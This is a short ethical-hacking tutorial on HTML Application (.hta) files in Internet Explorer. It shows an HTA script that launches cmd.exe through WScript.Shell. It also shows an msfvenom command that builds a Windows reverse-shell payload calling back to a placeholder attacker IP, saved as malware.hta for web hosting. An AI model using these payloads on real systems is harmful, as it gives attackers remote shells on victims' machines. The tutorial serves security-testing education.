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Leveraging HTML Applications (IE)

In the world of ethical hacking, it's essential to stay updated on various tools and techniques that can be used for legitimate security testing and analysis. HTML Applications (HTAs) are one such resource that can be leveraged for various purposes, including launching commands, generating payloads, and testing security controls. In this article, we'll explore the use of HTAs and demonstrate their potential in ethical hacking scenarios.

Understanding HTML Applications (HTAs)
HTML Applications, often denoted by the .hta file extension, are a type of file that Internet Explorer (IE) automatically interprets as an executable HTML application. These files have the ability to interact with the Windows operating system and can be employed for a range of purposes, including executing commands and scripting.

Launching a Command Prompt with HTA
To begin our exploration, let's take a look at a practical example of using an HTA to launch the Windows command prompt (cmd.exe). Below is a modified code snippet that demonstrates this concept:

<!-- modified_poc.hta -->


var command = 'cmd.exe';
new ActiveXObject('WScript.Shell').Run(command);


In this code, we've changed the variable name from c to command for better readability and maintainability. The HTA still serves its purpose of launching the command prompt.

Generating an HTA Payload
HTAs can also be used to generate payloads for various security testing scenarios. Below is a modified example of generating an HTA payload with the Metasploit Framework:

sudo msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER IP>
LPORT=<ATTACKER PORT> -f hta-psh -o /var/www/html/malware.hta

This payload can be hosted on a web server and used for testing security controls or demonstrating potential vulnerabilities.